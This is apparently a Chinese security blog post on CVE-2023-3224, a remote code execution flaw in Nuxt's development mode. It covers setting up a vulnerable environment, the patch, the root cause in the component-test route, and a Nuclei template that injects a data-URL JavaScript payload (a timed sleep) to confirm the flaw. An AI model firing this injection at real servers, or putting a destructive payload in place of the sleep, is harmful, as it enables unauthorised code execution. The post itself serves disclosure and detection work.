CVE-2023-3224 Nuxt dev mode rce

渗透技巧 1年前 (2023) admin

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# 环境

https://nuxt.com/docs/examples/essentials/hello-world

照着这个创建文件，然后修改package.json里nuxt的版本号

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{
  "name": "example-hello-world",
  "private": true,
  "scripts": {
    "build": "nuxi build",
    "dev": "nuxi dev",
    "start": "nuxi preview"
  },
  "devDependencies": {
    "nuxt": "3.5.0"
  }
}

# 补丁

https://github.com/nuxt/nuxt/commit/65a8f4eb3ef1b249a95fd59e323835a96428baff

# 分析

如果服务器以dev模式运行并且请求的url以/__nuxt_component_test__/开头，那么引入#build/test-component-wrapper.mjs

在#build/test-component-wrapper.mjs中会截取query string然后import，造成rce。

poc

当引入child_process执行命令时，报错500

这个时候需要用node_modules里别的gadget。

# poc

编写模板时，要考虑怎么做验证，有的没办法执行命令，干脆用sleep延时来判断，然后发现nuxt在渲染时有缓存，如果两次payload一致时只会sleep一次，所以加了个随机数。

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id: CVE-2023-3224

info:
  name: nuxt developer mode RCE
  author: Y4er
  severity: critical
  description: |
    RCE in developer mode in nuxt/nuxt    
  reference:
    - https://huntr.dev/bounties/1eb74fd8-0258-4c1f-a904-83b52e373a87/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-3224
    cwe-id: CWE-94
  tags: cve,cve2023,rce,http,vmware

http:
  - method: GET
    path:
      - "{{BaseURL}}/__nuxt_component_test__/?path=data:text/javascript,await%20new%20Promise(resolve%20=%3E%20setTimeout(resolve,%206000));console.log('{{randstr}}')"

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'